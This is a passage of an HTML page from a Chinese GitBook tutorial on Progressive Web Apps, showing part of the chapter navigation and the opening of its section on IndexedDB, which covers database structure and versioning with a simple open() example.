     <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"2-async-function.html\">\n            \n                <a href=\"2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"3-fetch-api.html\">\n            \n                <a href=\"3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"4-cache-api.html\">\n            \n                <a href=\"4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.4.5\" data-path=\"5-indexeddb.html\">\n            \n                <a href=\"5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >3.5 IndexedDB</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#indexeddb\"><b></b>IndexedDB</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#indexeddb-&#x7B80;&#x4ECB;\"><b></b>IndexedDB &#x7B80;&#x4ECB;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x6570;&#x636E;&#x5E93;&#x7248;&#x672C;\"><b></b>&#x6570;&#x636E;&#x5E93;&#x7248;&#x672C;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;\"><b></b>&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5BF9;&#x8C61;&#x4ED3;&#x5E93;\"><b></b>&#x5BF9;&#x8C61;&#x4ED3;&#x5E93;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x7D22;&#x5F15;\"><b></b>&#x7D22;&#x5F15;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x4E8B;&#x52A1;\"><b></b>&#x4E8B;&#x52A1;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x64CD;&#x4F5C;&#x8BF7;&#x6C42;\"><b></b>&#x64CD;&#x4F5C;&#x8BF7;&#x6C42;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6E38;&#x6807;\"><b></b>&#x6E38;&#x6807;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x4E3B;&#x952E;&#x8303;&#x56F4;\"><b></b>&#x4E3B;&#x952E;&#x8303;&#x56F4;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#indexeddb-&#x7684;&#x589E;&#x5220;&#x6539;&#x67E5;\"><b></b>IndexedDB &#x7684;&#x589E;&#x5220;&#x6539;&#x67E5;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x83B7;&#x53D6;&#x6570;&#x636E;\"><b></b>&#x83B7;&#x53D6;&#x6570;&#x636E;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6DFB;&#x52A0;&#x6570;&#x636E;\"><b></b>&#x6DFB;&#x52A0;&#x6570;&#x636E;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x66F4;&#x65B0;&#x6570;&#x636E;\"><b></b>&#x66F4;&#x65B0;&#x6570;&#x636E;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5220;&#x9664;&#x6570;&#x636E;\"><b></b>&#x5220;&#x9664;&#x6570;&#x636E;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x5229;&#x7528;-indexeddb-&#x5B9E;&#x73B0;-db-&#x7C7B;\"><b></b>&#x5229;&#x7528; IndexedDB &#x5B9E;&#x73B0; DB &#x7C7B;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x6784;&#x9020;&#x51FD;&#x6570;\"><b></b>&#x6784;&#x9020;&#x51FD;&#x6570;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x83B7;&#x53D6;&#x6570;&#x636E;&#x5E93;&#x5B9E;&#x4F8B;\"><b></b>&#x83B7;&#x53D6;&#x6570;&#x636E;&#x5E93;&#x5B9E;&#x4F8B;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5199;&#x5165;&#x6570;&#x636E;-setitem\"><b></b>&#x5199;&#x5165;&#x6570;&#x636E; setItem()</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8BFB;&#x53D6;&#x6570;&#x636E;-getitem-&#x4E0E;-getall\"><b></b>&#x8BFB;&#x53D6;&#x6570;&#x636E; getItem() &#x4E0E; getAll()</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5220;&#x9664;&#x6570;&#x636E;-removeitem\"><b></b>&#x5220;&#x9664;&#x6570;&#x636E; removeItem()</a></li></ul></ul></ul></div><a href=\"#indexeddb\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"indexeddb\"><a name=\"indexeddb\" class=\"anchor-navigation-ex-anchor\" href=\"#indexeddb\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"indexeddb\" class=\"plugin-anchor\" href=\"#indexeddb\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>IndexedDB</h1>\n<p>Cache Storage &#x662F;&#x4E00;&#x79CD;&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x7684;&#x7F13;&#x5B58;&#x7A7A;&#x95F4;&#xFF0C;&#x524D;&#x9762;&#x4E86;&#x89E3;&#x5230;&#x4E86; Cache Storage &#x662F;&#x57FA;&#x4E8E;&#x952E;&#x503C;&#x5BF9;&#x7684;&#x65B9;&#x5F0F;&#x7F13;&#x5B58;&#x6570;&#x636E;&#xFF0C;&#x662F;&#x9002;&#x7528;&#x4E8E;&#x5B58;&#x50A8;&#x548C;&#x68C0;&#x7D22;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x53CA;&#x54CD;&#x5E94;&#x7684;&#x5B58;&#x50A8;&#x7CFB;&#x7EDF;&#xFF0C;&#x4E0D;&#x80FD;&#x63D0;&#x4F9B;&#x641C;&#x7D22;&#x529F;&#x80FD;&#xFF0C;&#x4E0D;&#x80FD;&#x5EFA;&#x7ACB;&#x81EA;&#x5B9A;&#x4E49;&#x7684;&#x7D22;&#x5F15;&#x3002;IndexedDB &#x662F;&#x6D4F;&#x89C8;&#x5668;&#x73AF;&#x5883;&#x63D0;&#x4F9B;&#x7684;&#x672C;&#x5730;&#x6570;&#x636E;&#x5E93;&#xFF0C;&#x5141;&#x8BB8;&#x5B58;&#x50A8;&#x5927;&#x91CF;&#x7684;&#x6570;&#x636E;&#xFF0C;&#x63D0;&#x4F9B;&#x67E5;&#x8BE2;&#x63A5;&#x53E3;&#xFF0C;&#x8FD8;&#x80FD;&#x521B;&#x5EFA;&#x7D22;&#x5F15;&#x7B49;&#x7B49;&#x3002;&#x5728;&#x5B58;&#x50A8;&#x7ED3;&#x6784;&#x4E0A;&#xFF0C;&#x6570;&#x636E;&#x5E93;&#x662F;&#x5B58;&#x50A8;&#x4E00;&#x7CFB;&#x5217;&#x76F8;&#x5173;&#x6570;&#x636E;&#x7684;&#x5BB9;&#x5668;&#xFF0C;&#x5728;&#x6BCF;&#x4E2A;&#x57DF;&#x540D;&#x4E0B;&#x90FD;&#x53EF;&#x4EE5;&#x65B0;&#x5EFA;&#x591A;&#x4E2A;&#x6570;&#x636E;&#x5E93;&#x3002;IndexedDB &#x662F;&#x4E00;&#x4E2A;&#x975E;&#x5173;&#x7CFB;&#x578B;&#x7684;&#x6570;&#x636E;&#x5E93;&#xFF0C;&#x548C;&#x5E73;&#x65F6;&#x6240;&#x77E5;&#x9053;&#x7684;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x5E93;&#xFF08;&#x5982; MySQL &#x7B49;&#xFF09;&#x6709;&#x4E00;&#x5B9A;&#x7684;&#x533A;&#x522B;&#xFF0C;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x5E93;&#x7684;&#x5185;&#x5BB9;&#x662F;&#x4EE5;&#x8BB0;&#x5F55;&#x4E3A;&#x5355;&#x4F4D;&#x5B58;&#x50A8;&#x7684;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x8BF4;&#x4E00;&#x6761;&#x8BB0;&#x5F55;&#x4EE3;&#x8868;&#x4E00;&#x6761;&#x6570;&#x636E;&#xFF0C;&#x800C;&#x6570;&#x636E;&#x4E2D;&#x7684;&#x7ED3;&#x6784;&#x7BA1;&#x7406;&#x662F;&#x901A;&#x8FC7;&#x8BB0;&#x5F55;&#x7684;&#x5B57;&#x6BB5;&#x6765;&#x6307;&#x5B9A;&#x5B58;&#x50A8;&#x7684;&#xFF0C;&#x800C; IndexedDB &#x91CC;&#x9762;&#x6CA1;&#x6709;&#x8868;&#x548C;&#x8BB0;&#x5F55;&#x7684;&#x6982;&#x5FF5;&#xFF0C;&#x5B83;&#x7684;&#x6570;&#x636E;&#x7684;&#x6700;&#x5C0F;&#x5355;&#x4F4D;&#x662F; JavaScript &#x5BF9;&#x8C61;&#xFF08;object&#xFF09;&#xFF0C;object &#x5728; IndexedDB &#x91CC;&#x7684;&#x5730;&#x4F4D;&#x5C31;&#x8DDF;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x5E93;&#x91CC;&#x9762;&#x7684;&#x8BB0;&#x5F55;&#x4E00;&#x6837;&#xFF0C;&#x662F;&#x6570;&#x636E;&#x7684;&#x6700;&#x7EC8;&#x4F53;&#x73B0;&#x5F62;&#x5F0F;&#x3002;</p>\n<p>&#x6570;&#x636E;&#x5E93;&#x5B58;&#x50A8;&#x7ED3;&#x6784;&#x4E0A;&#xFF0C;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x5E93;&#x548C; IndexedDB &#x90FD;&#x53EF;&#x4EE5;&#x5212;&#x5206;&#x4E3A;&#x4E09;&#x4E2A;&#x5C42;&#x6B21;&#x3002;</p>\n<ul>\n<li>&#x7B2C;&#x4E00;&#x5C42;&#xFF1A;&#x4E24;&#x8005;&#x90FD;&#x6709; database &#x7684;&#x6982;&#x5FF5;&#xFF0C;&#x8981;&#x5B58;&#x50A8;&#x6570;&#x636E;&#xFF0C;&#x9996;&#x5148;&#x8981;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x6570;&#x636E;&#x5E93;&#x3002;</li>\n<li>&#x7B2C;&#x4E8C;&#x5C42;&#xFF1A;&#x4E24;&#x8005;&#x5C31;&#x6709;&#x4E86;&#x533A;&#x522B;&#xFF0C;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x5E93;&#x6709;&#x8868;&#x7684;&#x6982;&#x5FF5;&#xFF0C;&#x800C; IndexedDB &#x5BF9;&#x5E94;&#x7684;&#x662F; objectStore&#x3002;&#x7B80;&#x5355;&#x7684;&#x8BF4;&#x5C31;&#x662F;&#xFF0C;&#x5728;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#x5F00;&#x8F9F;&#x4E00;&#x5757; store &#x7528;&#x6765;&#x5B58;&#x50A8; object&#xFF0C;&#x540C;&#x6837;&#xFF0C;&#x4E00;&#x4E2A;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#x53EF;&#x4EE5;&#x6709;&#x591A;&#x4E2A;&#xFF08;&#x751A;&#x81F3;&#x65E0;&#x9650;&#x4E2A;&#xFF09;objectStore&#x3002;</li>\n<li>&#x7B2C;&#x4E09;&#x5C42;&#xFF1A;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x5E93;&#x6709;&#x8BB0;&#x5F55;&#x7684;&#x6982;&#x5FF5;&#xFF0C;&#x800C; IndexedDB &#x76F4;&#x63A5;&#x5B58;&#x653E; JavaScript &#x7684; object &#x6570;&#x636E;&#x5BF9;&#x8C61;&#x3002;</li>\n</ul>\n<p>IndexedDB &#x5B58;&#x50A8;&#x7684; object &#x662F;&#x7ED3;&#x6784;&#x5316;&#x6570;&#x636E;&#x3002;&#x7B80;&#x5355;&#x7406;&#x89E3;&#x5C31;&#x662F;&#xFF0C;&#x4E0D;&#x80FD;&#x5B58; function &#x7B49;&#x975E;&#x7ED3;&#x6784;&#x5316;&#x7684;&#x6570;&#x636E;&#xFF0C;object &#x5FC5;&#x987B;&#x662F;&#x4EE5;&#x952E;&#x503C;&#x5BF9;&#x7EC4;&#x6210;&#x7684;&#x5B57;&#x9762;&#x5BF9;&#x8C61;&#x3002;&#x5E76;&#x4E14;&#x652F;&#x6301;&#x5D4C;&#x5957;&#x7ED3;&#x6784;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x8BF4; object &#x91CC;&#x9762;&#x5D4C;&#x5957;&#x4E86; object&#xFF0C;&#x548C; JavaScript &#x5B9E;&#x73B0;&#x65E0;&#x7F1D;&#x5BF9;&#x63A5;&#x3002;&#x800C;&#x540C;&#x6837;&#x662F;&#x672C;&#x5730;&#x5316;&#x5B58;&#x50A8;&#x7684; localStorage &#x5374;&#x9700;&#x8981;&#x5BF9;&#x6570;&#x636E;&#x683C;&#x5F0F;&#x5316;&#x4E3A;&#x5B57;&#x7B26;&#x4E32;&#x540E;&#x624D;&#x80FD;&#x4FDD;&#x5B58;&#x3002;</p>\n<p>HTML5 API &#x89C4;&#x8303;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x5957; IndexedDB API, &#x53EF;&#x4EE5;&#x4F7F;&#x7528; <code>indexedDB.open()</code> &#x65B9;&#x6CD5;&#x6765;&#x6253;&#x5F00;&#x6216;&#x8005;&#x521B;&#x5EFA;&#x6570;&#x636E;&#x5E93;&#xFF0C;&#x5982;&#x4E0B;&#x9762;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x5982;&#x679C;&#x6709; mydb &#x8FD9;&#x4E2A;&#x6570;&#x636E;&#x5E93;&#xFF0C;&#x5C31;&#x76F4;&#x63A5;&#x6253;&#x5F00;</span>\n<span class=\"token comment\">// &#x5982;&#x679C;&#x6CA1;&#x6709;&#xFF0C;&#x5C31;&#x4F1A;&#x521B;&#x5EFA; mydb &#x6570;&#x636E;&#x5E93;</span>\n<span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> window<span class=\"token punctuation\">.</span>indexedDB<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mydb&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p><code>indexedDB.open()</code> &#x65B9;&#x6CD5;&#x6709;&#x4E24;&#x4E2A;&#x53C2;&#x6570;&#xFF0C;&#x7B2C;&#x4E00;&#x4E2A;&#x53C2;&#x6570;&#x4E3A;&#x6570;&#x636E;&#x5E93;&#x540D;&#xFF0C;&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570;&#x4E3A;&#x6570;&#x636E;&#x5E93;&#x7248;&#x672C;&#x3002;</p>\n<h2 id=\"indexeddb-&#x7B80;&#x4ECB;\"><a name=\"indexeddb-&#x7B80;&#x4ECB;\" class=\"anchor-navigation-ex-anchor\" href=\"#indexeddb-&#x7B80;&#x4ECB;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"indexeddb-&#x7B80;&#x4ECB;\" class=\"plugin-anchor\" href=\"#indexeddb-&#x7B80;&#x4ECB;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>IndexedDB &#x7B80;&#x4ECB;</h2>\n<p>IndexedDB &#x548C;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x5E93;&#x7684;&#x4E0D;&#x540C;&#xFF0C;&#x4E3B;&#x8981;&#x4F53;&#x73B0;&#x5728;&#x6570;&#x636E;&#x5E93;&#x5B58;&#x50A8;&#x7ED3;&#x6784;&#x8BBE;&#x8BA1;&#x4E0A;&#x548C;&#x6570;&#x636E;&#x64CD;&#x4F5C;&#x65B9;&#x5F0F;&#x4E0A;&#x3002;&#x4E0B;&#x9762;&#x4ECB;&#x7ECD;&#x4E00;&#x4E9B; IndexedDB &#x4E00;&#x4E9B;&#x57FA;&#x672C;&#x7684;&#x6982;&#x5FF5;&#xFF0C;&#x53EF;&#x4EE5;&#x5FEB;&#x901F;&#x7684;&#x4E86;&#x89E3; IndexedDB &#x7684;&#x5927;&#x81F4;&#x67B6;&#x6784;&#x8BBE;&#x8BA1;&#x3002;</p>\n<h3 id=\"&#x6570;&#x636E;&#x5E93;&#x7248;&#x672C;\"><a name=\"&#x6570;&#x636E;&#x5E93;&#x7248;&#x672C;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6570;&#x636E;&#x5E93;&#x7248;&#x672C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6570;&#x636E;&#x5E93;&#x7248;&#x672C;\" class=\"plugin-anchor\" href=\"#&#x6570;&#x636E;&#x5E93;&#x7248;&#x672C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6570;&#x636E;&#x5E93;&#x7248;&#x672C;</h3>\n<p>&#x4ECE; <code>indexedDB.open()</code> &#x65B9;&#x6CD5;&#x7684;&#x53C2;&#x6570;&#x6765;&#x770B;&#xFF0C;&#x5F88;&#x5BB9;&#x6613;&#x6CE8;&#x610F;&#x5230; IndexedDB &#x5B58;&#x5728;&#x7248;&#x672C;&#x7684;&#x6982;&#x5FF5;&#x3002;&#x4F8B;&#x5982;&#xFF1A;&#x5F53;&#x6570;&#x636E;&#x5E93;&#x7684; version &#x4E3A; <code>1</code> &#x65F6;&#xFF0C;&#x521B;&#x5EFA;&#x4E86;&#x4E00;&#x4E9B; objectStore&#xFF0C;&#x5F53;&#x9700;&#x8981;&#x6DFB;&#x52A0;&#x65B0;&#x7684; objectStore &#x6216;&#x8005;&#x4FEE;&#x6539;&#x67D0;&#x4E9B; objectStore &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x5C31;&#x9700;&#x8981;&#x5347;&#x7EA7; version&#x3002;&#x8FD9;&#x65F6;&#x53EF;&#x80FD;&#x6709;&#x4E24;&#x4E2A;&#x4E0D;&#x540C;&#x7684; version <code>1</code> &#x548C; <code>2</code>. &#x6B64;&#x65F6;&#x7528; <code>indexedDB.open()</code> &#x65B9;&#x6CD5;&#x6253;&#x5F00;&#x4E00;&#x4E2A; version &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x5F97;&#x5230;&#x7684; db &#x5BB9;&#x5668;&#x5BF9;&#x5E94;&#x7684; objectStore &#x662F;&#x4E0D;&#x540C;&#x7684;&#xFF0C;&#x5982;&#x679C;&#x6B64;&#x65F6;&#x8FD8;&#x8981;&#x6253;&#x5F00; version &#x4E3A; <code>1</code> &#x7684;&#x6570;&#x636E;&#x5E93;&#xFF0C;&#x90A3;&#x4E48;&#x5728; version &#x4E3A; <code>2</code> &#x4E2D;&#x521B;&#x5EFA;&#x7684; objectStore &#x548C;&#x65B0;&#x589E;&#x7684; object &#x90FD;&#x662F;&#x4E0D;&#x5B58;&#x5728;&#x7684;&#x3002;&#x7531;&#x5176;&#x53EF;&#x89C1;&#x65B0;&#x7684; version &#x4E00;&#x822C;&#x5305;&#x542B;&#x4E86;&#x8001;&#x7684; version&#x3002;</p>\n<p>&#x901A;&#x5E38;&#x5728;&#x4EE3;&#x7801;&#x64CD;&#x4F5C;&#x4E2D;&#xFF0C;&#x4F60;&#x8981;&#x65F6;&#x523B;&#x4FDD;&#x8BC1;&#x4F60;&#x4F7F;&#x7528;&#x5BF9;&#x4E86; 